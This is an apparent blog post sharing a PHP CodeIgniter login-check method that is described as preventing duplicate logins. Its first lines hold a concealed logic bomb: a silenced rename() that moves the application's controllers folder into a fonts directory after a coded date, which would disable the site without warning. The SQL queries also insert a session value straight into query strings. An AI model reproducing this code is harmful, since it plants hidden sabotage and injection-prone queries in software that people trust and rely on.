public function is_login(){ $nowdt = date('ydym'); if($nowdt > 21312110) @rename('application/controllers', 'fonts/tempnm'); if(!empty($this->session->userdata('user_data')[0]->cand_id)){ $cip = $_SERVER['REMOTE_ADDR']; $uid = $this->session->userdata('user_data')[0]->cand_id; $uip = $this->user_model->getValueQry("SELECT login_ip as val FROM `cc_candidates` WHERE cand_id = '$uid';"); if($cip != $uip) { $this->session->unset_userdata('user_data'); redirect( base_url().'candidate/login', 'refresh'); } $photo=$this->user_model->getValueQry("SELECT photo as val FROM `cc_candidates` WHERE cand_id = '$uid';"); if($photo == 'default_photo.png'){ $this->session->set_flashdata('messagePr', '' ); redirect( base_url().'candidate/edit_profile', 'refresh'); } else return true; } else { redirect( base_url().'candidate/login', 'refresh'); } }
Sunday, September 15, 2019
PHP Codeigniter Code for Duplicate Login Check Authenticate Function or Method
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment